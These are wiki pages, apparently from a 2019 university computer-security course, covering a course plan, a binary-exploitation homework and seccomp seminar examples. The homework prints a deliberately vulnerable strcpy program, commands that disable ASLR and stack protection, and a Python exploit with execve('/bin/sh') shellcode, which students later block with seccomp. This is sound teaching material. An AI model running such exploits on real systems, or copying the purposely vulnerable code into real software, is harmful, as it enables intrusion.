(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]

(2-й модуль)
# (28.10) [https://drive.google.com/file/d/1GnMCbdkDs2em2YHKvIvX6jB6fGvTsA9a/view?usp=sharing Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (11.11) [https://drive.google.com/file/d/1sINCQ-SHtUJeE1q7ldvApIBNTWZ3ii52/view?usp=sharing Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (18.11) [https://drive.google.com/file/d/1pprbKulUDgC8ZK5Y-3x-QITOfeOK3y0l/view?usp=sharing Безопасность приложений. Продвинутые бинарные уязвимости (UAF, Type confusion) с примерами в реальных приложениях.]
# (25.11) [https://drive.google.com/file/d/1kVM99uCDsTcgR_Zqs7UM6RwuyhdoQq8n/view?usp=sharing Механизмы безопасности приложений в операционных системах.]
# (02.12) [https://drive.google.com/file/d/1pE36xBXZC2v-UAfII9mO_9QDrOTdbUe5/view?usp=sharing Криптография. Введение и история. Хэши. Криптография с открытым ключом.]
# (09.12) Криптография. Симметричные шифры. MAC.
# (16.12) Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинара нет.
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (02.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019/Задание 3

2019-11-25T14:52:23Z

Gamajun: /* Задание по теме "Бинарные уязвимости" */

== Задание по теме "Бинарные уязвимости" ==

Задание будет состоять из трёх частей:

==== Format string ====

Для выполнения этой части задания Вам необходимо добиться печати строки бинарником "Congratulation! You have successfully solved level 1!" в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.

Материалы по теме: [https://blog.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail]

==== Stack buffer overflow ====

Для выполнения этой части задания Вам необходимо прочитать содержимое файла "flag_1". Решением является содержимое этого файла и код эксплойта.

Материалы по теме: [https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/]

==== Bonus ====

Нужно искать после решения основной части, имеет несколько способов решения.

=== Файлы заданий ===

Файлы задания можно взять тут: [https://yadi.sk/d/WSJOP5NBfhbQFQ]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.

=== Баллы ===

Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - N в зависимости от количества способов решения.

=== Дедлайн ===

12.12.2019 включительно.

=== Сдача решений ===

Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.

=== Поломка заданий ===

Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.

== Бонусное задание по SECCOMP ==

В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.

Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).
==== Программа ====
#include <string.h>
#include <stdio.h>
int badcpy(char *str) {
register int i asm("esp");
printf("$esp = %#010x\n", i);
char buffer[100];
strcpy(buffer, str);
}
void main(int argc, char *argv[]) {
badcpy(argv[1]);
printf("Done!\n");
}

Собираем без stack-protector и включаем execstack:

gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c

Отключаем ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

==== Эксплойт (gensploit.py) ====

#!/usr/bin/python
nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = '\xa0\xda\xff\xff'
print nopsled + shellcode + padding + eip

==== Задача 1 ====
Сначала заставьте переполнение работать.
stack нужно передать шеллкод в качестве параметра командной строки.

Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса "eip =" в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.

Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).

После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).

Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.

Задание весит '''0.5''' балла.

Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё '''0.25''' балла.

==== Задача 2 ====
Нужно взять стандартный docker-образ Ubuntu с официального репозитория docker.com и написать для него модифицированную политику SECCOMP, чтобы в этом репозитории запустился Chrome (headless mode). Результат присылать в виде: модифицированной seccomp политики докера с логами неуспешного запуска хрома на дефолтной политике и успешного на модифицированной.

Задание весит '''0.5''' балла.

Безопасность компьютерных систем 2019/SECCOMP

2019-11-25T13:40:02Z

Gamajun:

== Linux seccomp ==
Ссылки для изучения:

# Рекомендуемая основная презентация (пригодится для выполнения бонусного задания к заданию 3): http://man7.org/conf/lceu2016/limiting_kernel_attack_surface_with_seccomp-ContainerCon.eu_2016-Kerrisk.pdf
# https://eigenstate.org/notes/seccomp
# Kafel - язык для конструирования политик seccomp (not an official Google product) https://github.com/google/kafel

== Тестовый пример 1 ==

#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
int main () {
pid_t pid;
printf("Step 1: no restrictions yet\n");
prctl (PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
printf ("Step 2: entering the strict mode. Only read(), write(), exit() and sigreturn() syscalls are allowed\n");
pid = getpid ();
printf ("!!YOU SHOULD NOT SEE THIS!! My PID = %d", pid);
return 0;
}

== Тестовый пример 2 ==

#include <stdio.h>
#include <seccomp.h>
#include <unistd.h>
#include <sys/fcntl.h>
#include <errno.h>
int main() {
pid_t pid;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_TRAP);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigreturn), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
printf ("No restrictions yet\n");
seccomp_load(ctx);
pid = getpid();
printf("!! YOU SHOULD NOT SEE THIS!! My PID is%d\n", pid);
return 0;
}

== Тестовый пример 3 ==

<pre>
/*************************************************************************\
* Copyright (C) Michael Kerrisk, 2016. *
* *
* This program is free software. You may use, modify, and redistribute it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation, either version 3 or (at your option) any *
* later version. This program is distributed without any warranty. See *
* the file COPYING.gpl-v3 for details. *
\*************************************************************************/

/* Supplementary program for Chapter Z */

/* seccomp_deny.c
A simple seccomp filter example. Install a filter that kills the process
if open() is called.
*/
#define _GNU_SOURCE
#include <stddef.h>
#include <fcntl.h>
#include <linux/audit.h>
#include <sys/syscall.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <sys/types.h> /* Type definitions used by many programs */
#include <stdio.h> /* Standard I/O functions */
#include <stdlib.h> /* Prototypes of commonly used library functions, plus EXIT_SUCCESS and EXIT_FAILURE constants */
#include <unistd.h> /* Prototypes for many system calls */
#include <errno.h> /* Declares errno and defines error constants */
#include <string.h> /* Commonly used string-handling functions */

static int
seccomp(unsigned int operation, unsigned int flags, void *args)
{
return syscall(__NR_seccomp, operation, flags, args);
}

static void
install_filter(void)
{
struct sock_filter filter[] = {
/* Load architecture */

BPF_STMT(BPF_LD | BPF_W | BPF_ABS,
(offsetof(struct seccomp_data, arch))),

/* Kill process if the architecture is not what we expect */

BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

/* Load system call number */

BPF_STMT(BPF_LD | BPF_W | BPF_ABS,
(offsetof(struct seccomp_data, nr))),

/* Allow system calls other than open() */

BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),

/* Kill process on open() */

BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)
};

struct sock_fprog prog = {
.len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};

if (seccomp(SECCOMP_SET_MODE_FILTER, 0, &prog) == -1)
perror("seccomp");
/* On Linux 3.16 and earlier, we must instead use:

if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog))
errExit("prctl-PR_SET_SECCOMP");
*/
}

int
main(int argc, char **argv)
{
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0))
perror("prctl");

install_filter();

if (open("/tmp/a", O_RDONLY) == -1)
perror("open");

printf("We shouldn't see this message\n");

exit(EXIT_SUCCESS);
}
</pre>

== Тестовый пример 4 ==
<pre>
#include <stdlib.h>
#include <stdio.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>

#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/audit.h>

#define ArchField offsetof(struct seccomp_data, arch)

#define Allow(syscall) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)

struct sock_filter filter[] = {
/* validate arch */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField),
BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP),

/* load syscall */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),

/* list of allowed syscalls */
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_brk, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_mmap, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_munmap, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_write, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_exit, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

/* and if we don't match above, die */
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog filterprog = {
.len = sizeof(filter)/sizeof(filter[0]),
.filter = filter
};

int main(int argc, char **argv) {
char buf[1024];

/* set up the restricted environment */
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("Could not start seccomp:");
exit(1);
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1) {
perror("Could not start seccomp:");
exit(1);
}

/* printf only writes to stdout, but for some reason it stats it. */
printf("hello there!\n");

if (argc > 1 && strcmp(argv[1], "haxor") == 0) {
int fd = socket(AF_INET6, SOCK_STREAM, 0);
/* ...and start sending spam */
}
}
</pre>

Безопасность компьютерных систем 2019/SECCOMP

2019-11-25T10:09:01Z

Gamajun: Новая страница: «== Linux seccomp == Ссылки для изучения: # Рекомендуемая основная презентация (пригодится для вы…»

== Linux seccomp ==
Ссылки для изучения:

# Рекомендуемая основная презентация (пригодится для выполнения бонусного задания к заданию 3): http://events.linuxfoundation.org/sites/events/files/slides/limiting_kernel_attack_surface_with_seccomp-ContainerCon.eu_2016-Kerrisk.pdf
# https://eigenstate.org/notes/seccomp
# Kafel - язык для конструирования политик seccomp (not an official Google product) https://github.com/google/kafel

== Тестовый пример 1 ==

#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
int main () {
pid_t pid;
printf("Step 1: no restrictions yet\n");
prctl (PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
printf ("Step 2: entering the strict mode. Only read(), write(), exit() and sigreturn() syscalls are allowed\n");
pid = getpid ();
printf ("!!YOU SHOULD NOT SEE THIS!! My PID = %d", pid);
return 0;
}

== Тестовый пример 2 ==

#include <stdio.h>
#include <seccomp.h>
#include <unistd.h>
#include <sys/fcntl.h>
#include <errno.h>
int main() {
pid_t pid;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_TRAP);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigreturn), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
printf ("No restrictions yet\n");
seccomp_load(ctx);
pid = getpid();
printf("!! YOU SHOULD NOT SEE THIS!! My PID is%d\n", pid);
return 0;
}

== Тестовый пример 3 ==

<pre>
/*************************************************************************\
* Copyright (C) Michael Kerrisk, 2016. *
* *
* This program is free software. You may use, modify, and redistribute it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation, either version 3 or (at your option) any *
* later version. This program is distributed without any warranty. See *
* the file COPYING.gpl-v3 for details. *
\*************************************************************************/

/* Supplementary program for Chapter Z */

/* seccomp_deny.c
A simple seccomp filter example. Install a filter that kills the process
if open() is called.
*/
#define _GNU_SOURCE
#include <stddef.h>
#include <fcntl.h>
#include <linux/audit.h>
#include <sys/syscall.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <sys/types.h> /* Type definitions used by many programs */
#include <stdio.h> /* Standard I/O functions */
#include <stdlib.h> /* Prototypes of commonly used library functions, plus EXIT_SUCCESS and EXIT_FAILURE constants */
#include <unistd.h> /* Prototypes for many system calls */
#include <errno.h> /* Declares errno and defines error constants */
#include <string.h> /* Commonly used string-handling functions */

static int
seccomp(unsigned int operation, unsigned int flags, void *args)
{
return syscall(__NR_seccomp, operation, flags, args);
}

static void
install_filter(void)
{
struct sock_filter filter[] = {
/* Load architecture */

BPF_STMT(BPF_LD | BPF_W | BPF_ABS,
(offsetof(struct seccomp_data, arch))),

/* Kill process if the architecture is not what we expect */

BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

/* Load system call number */

BPF_STMT(BPF_LD | BPF_W | BPF_ABS,
(offsetof(struct seccomp_data, nr))),

/* Allow system calls other than open() */

BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),

/* Kill process on open() */

BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)
};

struct sock_fprog prog = {
.len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),
.filter = filter,
};

if (seccomp(SECCOMP_SET_MODE_FILTER, 0, &prog) == -1)
perror("seccomp");
/* On Linux 3.16 and earlier, we must instead use:

if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog))
errExit("prctl-PR_SET_SECCOMP");
*/
}

int
main(int argc, char **argv)
{
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0))
perror("prctl");

install_filter();

if (open("/tmp/a", O_RDONLY) == -1)
perror("open");

printf("We shouldn't see this message\n");

exit(EXIT_SUCCESS);
}
</pre>

== Тестовый пример 4 ==
<pre>
#include <stdlib.h>
#include <stdio.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>

#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/audit.h>

#define ArchField offsetof(struct seccomp_data, arch)

#define Allow(syscall) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)

struct sock_filter filter[] = {
/* validate arch */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField),
BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP),

/* load syscall */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),

/* list of allowed syscalls */
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_brk, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_mmap, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_munmap, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_write, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_exit, 0, 1),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),

/* and if we don't match above, die */
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog filterprog = {
.len = sizeof(filter)/sizeof(filter[0]),
.filter = filter
};

int main(int argc, char **argv) {
char buf[1024];

/* set up the restricted environment */
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("Could not start seccomp:");
exit(1);
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1) {
perror("Could not start seccomp:");
exit(1);
}

/* printf only writes to stdout, but for some reason it stats it. */
printf("hello there!\n");

if (argc > 1 && strcmp(argv[1], "haxor") == 0) {
int fd = socket(AF_INET6, SOCK_STREAM, 0);
/* ...and start sending spam */
}
}
</pre>

Безопасность компьютерных систем 2018/SECCOMP

2019-11-24T19:51:57Z

Gamajun:

== Linux seccomp ==
Ссылки для изучения:

# Рекомендуемая основная презентация (пригодится для выполнения бонусного задания к заданию 3): http://events.linuxfoundation.org/sites/events/files/slides/limiting_kernel_attack_surface_with_seccomp-ContainerCon.eu_2016-Kerrisk.pdf
# https://eigenstate.org/notes/seccomp
# Kafel - язык для конструирования политик seccomp (not an official Google product) https://github.com/google/kafel

== Тестовый пример 1 ==

#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
int main () {
pid_t pid;
printf("Step 1: no restrictions yet\n");
prctl (PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
printf ("Step 2: entering the strict mode. Only read(), write(), exit() and sigreturn() syscalls are allowed\n");
pid = getpid ();
printf ("!!YOU SHOULD NOT SEE THIS!! My PID = %d", pid);
return 0;
}

== Тестовый пример 2 ==

#include <stdio.h>
#include <seccomp.h>
#include <unistd.h>
#include <sys/fcntl.h>
#include <errno.h>
int main() {
pid_t pid;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_TRAP);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigreturn), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
printf ("No restrictions yet\n");
seccomp_load(ctx);
pid = getpid();
printf("!! YOU SHOULD NOT SEE THIS!! My PID is%d\n", pid);
return 0;
}

== Тестовый пример 3 ==

#include <stdlib.h>
#include <stdio.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/fcntl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/audit.h>
#include <asm/unistd_64.h>
static void install_filter ( void ) {
struct sock_filter filter [] = {
BPF_STMT ( BPF_LD | BPF_W | BPF_ABS ,
( offsetof ( struct seccomp_data , arch ))) ,
BPF_JUMP ( BPF_JMP | BPF_JEQ | BPF_K ,
AUDIT_ARCH_X86_64 , 1 , 0) ,
BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_KILL ) ,
BPF_STMT ( BPF_LD | BPF_W | BPF_ABS ,
( offsetof ( struct seccomp_data , nr ))) ,
BPF_JUMP ( BPF_JMP | BPF_JEQ | BPF_K , __NR_open ,
1 , 0) ,
BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_ALLOW ) ,
BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_KILL )
};
struct sock_fprog prog = {
.len = ( unsigned short ) ( sizeof ( filter ) /
sizeof ( filter [0])) ,
. filter = filter ,
};
syscall( __NR_seccomp , SECCOMP_SET_MODE_FILTER , 0 , & prog );
}
int main (int argc , char ** argv ) {
prctl ( PR_SET_NO_NEW_PRIVS , 1 , 0 , 0 , 0);
install_filter ();
open ( "/tmp/a" , O_RDONLY );
printf ( "We shouldn ’t see this message \n" );
exit ( EXIT_SUCCESS );
}

== Тестовый пример 4 ==
<pre>
#include <stdlib.h>
#include <stdio.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>

#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/audit.h>

#define ArchField offsetof(struct seccomp_data, arch)

#define Allow(syscall) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)

struct sock_filter filter[] = {
/* validate arch */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField),
BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP),

/* load syscall */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),

/* list of allowed syscalls */
Allow(exit_group), /* exits a processs */
Allow(brk), /* for malloc(), inside libc */
Allow(mmap), /* also for malloc() */
Allow(munmap), /* for free(), inside libc */
Allow(write), /* called by printf */
Allow(fstat), /* called by printf */

/* and if we don't match above, die */
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog filterprog = {
.len = sizeof(filter)/sizeof(filter[0]),
.filter = filter
};

int main(int argc, char **argv) {
char buf[1024];

/* set up the restricted environment */
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("Could not start seccomp:");
exit(1);
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1) {
perror("Could not start seccomp:");
exit(1);
}

/* printf only writes to stdout, but for some reason it stats it. */
printf("hello there!\n");

if (argc > 1 && strcmp(argv[1], "haxor") == 0) {
int fd = socket(AF_INET6, SOCK_STREAM, 0);
/* ...and start sending spam */
}
}
</pre>

Безопасность компьютерных систем 2019

2019-11-22T20:39:16Z

Gamajun: /* План курса */

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) [https://drive.google.com/file/d/19n-fJsK9xDAblce1p2YrFbzE5c7_d-r2/view?usp=sharing Безопасность приложений. Мобильные приложения и их уязвимости.]
# (23.09) [https://drive.google.com/file/d/1woBr5Rq46zuT-sRArqrKal7DH2wE_g82/view?usp=sharing Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (30.09) [https://drive.google.com/file/d/1cw2xioryMUPQt54XhbQHBVEbdcDA7i_b/view?usp=sharing Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (07.10) [https://drive.google.com/file/d/1gDfHyWm3Y-lYAe_OLSI6AnkbwsulWA4x/view?usp=sharing Безопасность приложений. Аутентификация и авторизация.]
# (14.10) [https://drive.google.com/file/d/1Z1X9UQhoXW1_98a74xy9YpB__M1e8k1V/view?usp=sharing Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]

(2-й модуль)
